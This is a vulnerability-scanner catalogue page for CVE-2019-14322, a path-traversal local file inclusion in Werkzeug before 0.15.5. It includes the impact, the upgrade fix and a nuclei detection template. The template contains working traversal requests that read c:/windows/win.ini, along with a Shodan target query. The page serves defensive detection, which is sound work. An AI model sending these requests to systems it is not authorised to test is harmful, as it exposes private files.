Browse / CVEs / CVE-2019-14322
CVE-2019-14322· microsoft / windows· CWE-22
Pallets Werkzeug <0.15.5 - Local File Inclusion
highseverity
7.5CVSS score
55.8%likelihood of exploitation, next 30 days
99%of all CVEs are less likely
Readycheck to confirm it
Pallets Werkzeug before 0.15.5 is susceptible to local file inclusion because SharedDataMiddleware mishandles drive names (such as C:) in Windows pathnames.
Impact
The LFI vulnerability can lead to unauthorized access to sensitive files, potential data leakage, and remote code execution.
Fix
Upgrade Pallets Werkzeug to version 0.15.5 or above to mitigate the LFI vulnerability.
How to confirm it
Send: GET {{BaseURL}}/base_import/static/c:/windows/win.ini ; GET {{BaseURL}}/web/static/c:/windows/win.ini ; GET {{BaseURL}}/base/static/c:/windows/win.ini
Positive when: contains "bit app support" and "fonts" and "extensions" AND status 200Run it with nuclei: nuclei -id CVE-2019-14322 -u <target>. This check is not marked as verified by its authors.
The full check
id: CVE-2019-14322
info:
name: Pallets Werkzeug <0.15.5 - Local File Inclusion
author: madrobot
severity: high
description: |
Pallets Werkzeug before 0.15.5 is susceptible to local file inclusion because SharedDataMiddleware mishandles drive names (such as C:) in Windows pathnames.
impact: |
The LFI vulnerability can lead to unauthorized access to sensitive files, potential data leakage, and remote code execution.
remediation: |
Upgrade Pallets Werkzeug to version 0.15.5 or above to mitigate the LFI vulnerability.
reference:
- https://palletsprojects.com/blog/werkzeug-0-15-5-released/
- http://packetstormsecurity.com/files/163398/Pallets-Werkzeug-0.15.4-Path-Traversal.html
- https://nvd.nist.gov/vuln/detail/CVE-2019-14322
- https://github.com/faisalfs10x/CVE-2019-14322-scanner
- https://github.com/sobinge/nuclei-templates
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2019-14322
cwe-id: CWE-22
epss-score: 0.55803
epss-percentile: 0.9905
cpe: cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*
metadata:
max-request: 3
vendor: microsoft
product: windows
shodan-query: cpe:"cpe:2.3:o:microsoft:windows"
tags: cve,cve2019,lfi,odoo,packetstorm,palletsprojects,microsoft,vuln
http:
- method: GET
path:
- "{{BaseURL}}/base_import/static/c:/windows/win.ini"
- "{{BaseURL}}/web/static/c:/windows/win.ini"
- "{{BaseURL}}/base/static/c:/windows/win.ini"
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- "bit app support"
- "fonts"
- "extensions"
condition: and
- type: status
status:
- 200References
- https://palletsprojects.com/blog/werkzeug-0-15-5-released/
- http://packetstormsecurity.com/files/163398/Pallets-Werkzeug-0.15.4-Path-Traversal.html
- https://nvd.nist.gov/vuln/detail/CVE-2019-14322
- https://github.com/faisalfs10x/CVE-2019-14322-scanner
- https://github.com/sobinge/nuclei-templates
Use this check only on systems you are authorised to test. Where the data comes from